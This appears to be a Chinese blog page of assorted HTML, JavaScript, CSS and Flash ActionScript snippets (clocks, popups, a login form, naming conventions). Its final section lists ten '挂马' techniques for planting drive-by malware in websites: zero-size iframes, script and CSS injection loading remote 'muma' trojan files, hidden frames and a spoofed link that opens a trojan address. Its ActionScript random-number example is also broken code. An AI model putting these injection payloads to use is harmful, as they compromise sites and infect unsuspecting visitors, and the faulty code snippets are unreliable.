<select name=select style="color:#333">
<option>----请选择----</option>
<option value="http://www.makewing.com/lanren/">懒人图库</option>
<option value="http://www.makewing.com/store/">MakeWing Store</option>
<option value="http://www.izhu.com/">爱烛网</option>
</select>
--------------------------------------------------------------------------------
简单的显示时间代码
<div id="a"><script>setInterval("a.innerHTML=new Date().toLocaleString()+'星期'+'日一二三四五六'.charAt(new Date().getDay())",500)</script></div>
--------------------------------------------------------------------------------
日期+周
<script language="javascript">
var week;
if(new Date().getDay()==0) week="周日"
if(new Date().getDay()==1) week="周一"
if(new Date().getDay()==2) week="周二"
if(new Date().getDay()==3) week="周三"
if(new Date().getDay()==4) week="周四"
if(new Date().getDay()==5) week="周五"
if(new Date().getDay()==6) week="周六"
document.write((new Date().getMonth()+1)+"月"+new Date().getDate()+"日 "+week);
</script>
=================================================================
去掉地址栏
<a href="javascript://" ><img src="[!--titlepic--]" width="155" height="160" border="0"></a>
=================================================================
<!--关闭当前窗口代码-->
点击关闭当前窗口
<a href="#" >点我吧</a>
=================================================================
<！--flash弹出窗口代码-->
on (release) {
getURL("javascript :window.open(’http://www.flash8.net',’’,’toolbars=no,location=no,scrollbars=no,status=no,resizable=no,width=500,height=500’)");
} //toolbars是否显示工具栏，location是否显示地址栏，scrollbars是否显示滚动条，
status是否显示状态栏，resizable是否可以改变大小
=================================================================
flash as代码里回行: \n 空格∶' '
=====================================================================
打印此页 返回 顶部 关闭的代码
【<a href='javascript:window.print()'>打印此页</a>】 【<a href='javascript:history.back()'>返回</a>】【<A href="javascript:window.scroll(0,-360)">顶部</A>】【<a href="javascript:self.close()">关闭</a>】
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
AS常用代码集锦
1、用flash 做那种弹出的小窗口
分两步∶
给flash中的按钮加入如下action:
on (release) {
getURL ("");
} 在HTML页面的...之间加入下面的javascript代码.
2、如何使得flash一打开就是全屏？
fscommand("fullscreen",true)
如何不能使用右键?
fscommand ("showmenu", "false");
3、用命令载入一个动画，我需要确定载入动画在画面中的位置，用什么语言来设置？
例如载入名为dd.swf的动画，我要确定这个动画的中心位置在（205，250），该怎么设置？
在要加载动画的那钟加入
loadMovie("dd.swf", "a");
a._x=205;
a._y=250;
你得先做一个空的MC起名叫"a"，导入时,在右下角也起名为a
4、当鼠标经过时动画播放到某处
on (rollover) {
gotoAndPlay(10);
}
当鼠标按下时动画播放到某处
on (release) {
gotoAndPlay(1);
}
5、播完动画后自动跳到某网页
getURL("siteindex.htm", _self);
6、设为首页
on (release) {
getURL(";void document.links.setHomePage ('http://www.flash8.net/')", "_self", "POST");
}
注意要将网页中的flash的ID号命名为"links"
加入收藏夹
on (release) {
getURL(" window.external.AddFavorite('http://www.163.com','网页');", "_self", "POST");
}
7、关于随机数的技巧
用来产生6--20之间的5个不重复的随机数:
1):首先产生一个随机数,放在数组对象中的第一个位置;
2):产生一个新的随机数.
3):检查新产生的随机数和所有目前已产生的随机数是否相同,若是相同则返回(2),否则返回(4)
4):将新的随机数加入数组对象中下一个数组元素内.
5):检查数组对象个数是否已达到5个,若是跳到(6),否则返回(2)
6):结束.
AS如下:
data1=newArray(5);
tot=1;
data1=[tot-1]=random(20-6+1)+6;
do{
gen_data=random(20-6+1)+6;
reapeat_data=0;
for(i=0,i<=tot-1;i++){
if(gen_data==data
reapeat_data=1;
break;
}
}
if(reapeat_data==0){
tot++
data[tot-1]=reapeat_data;
}
}while(tot<5);
trace(data1);
8 、如何使得flash一打开就是全屏的
这里说的方法只是用于flash Player (fp)
9 、如何禁止右键菜单
fscommand的方法还是只能适用于fp，在网页中使用还是必须添加额外的参数
或者用最简单的一句as，在fp和网页中均适用∶
Stage.showMenu=false;
10、载入动画的问题
loadMovie("dd.swf", a); //这里没有引号~
11、播完动画后自动跳到某网页
getURL("siteindex.htm", "_self"); //这里有引号滴~
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
登陆表单
<form name="loginForm" method="post" action="login.asp?action=chk" target="_blank">
<div>
会员员∶
<input type="text" name="username" size="12" maxlength="50">
</div>
<div>
密 码∶
<input type="password" name="password" size="12" maxlength="50">
</div>
<div>
登陆保留∶
<select name="CookieDate">
<option value="0">不保留</option>
<option value="1">保留一天</option>
<option value="2">保留一月</option>
<option value="3">保留一年</option>
</select>
</div>
<div>
隐 身∶
<input type="radio" name="userhidden" value="2" checked />正常登录
<input type="radio" name="userhidden" value="1" />隐身登录
</div>
<div>
<input type="submit" value="登陆" onclick="return checkForm();" />
<input type="reset" value="重填" />
<input type="button" onclick="window.location='reg.asp'" value="注册" />
<input type="button" onclick="window.location='lostpass.asp'" value="忘密" />
<input type="button" onclick="window.location='index.asp'" value="参观" />
</div>
</form>
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
主要的样式定义如下∶
body {text-align: center;}
#center { margin-right: auto; margin-left: auto; }
首先在父级元素定义text-align: center;这个的意思就是在父级元素内的内容居中；
对于IE这样设定就已经可以了。但在mozilla中不能居中。解决办法在每个拆出的div里定义margin-right: auto; margin-left: auto;就行了。
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
背景渐变色代码
<body style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#0099ff,endColorStr=#000000);">
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
一些DIV+CSS 命名规范
外 套∶ wrap
主导航∶ mainnav
子导航∶ subnav
页 脚∶ footet
整个页面∶ content
页 眉∶ header
页 脚∶ footer
商 标∶ label
标 题∶ title
主导航∶ mainbav（globalnav）
顶导航∶ topnav
边导航∶ sidebar
左导航∶ leftsidebar
右导航∶ rightsidebar
旗 志∶ logo
标 语∶ banner
菜单内容1∶ menu1 content
菜单容量∶ menu container
子菜单∶ submenu
边导航图标∶sidebarIcon
注释∶ note
面包屑∶ breadcrumb(即页面所处位置导航提示）
容器∶ container
内容∶ content
搜索∶ search
登陆∶ Login
功能区∶ shop(如购物车，收银台)
当前的 current
2.另外在编辑样式表时可用的注释可这样写∶
<□ Footer □>
内容区
<□ End Footer □>
3.样式文件命名
主要的 master.css
布局，版面 layout.css
专栏 columns.css
文字 font.css
打印样式 print.css
主题 themes.css
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
公告栏
<marquee dir=要滚动的方向 scrolldelay=时间 onmouseover=this.stop() onmouseout=this.start()
>你要的文字</marquee>
其中∶要滚动的方向为∶
left,right,down,up
时间∶1000为一秒
--------------------------------------------------------------------------------
一:框架挂马
以下是代码片段∶
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码 以下是代码片段∶
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
以下是代码片段∶
<script language=javascript src=xxx.js></script>
三:js变形加密
以下是代码片段∶
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马 以下是代码片段∶
<body onload="window.location='地址';"></body>
五:隐蔽挂马
以下是代码片段∶
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
以下是代码片段∶
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
七:JAJA挂马
以下是代码片段∶
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
八:图片伪装
以下是代码片段∶
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用∶
以下是代码片段∶
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
以下是代码片段∶
<a href="http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="javascript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
下载
htm代码大全.txt (19.98 KiB) | Meta
休憩所
记录点滴生活，分享网络乐趣。
Back to home
Subscribe | Register | Login | N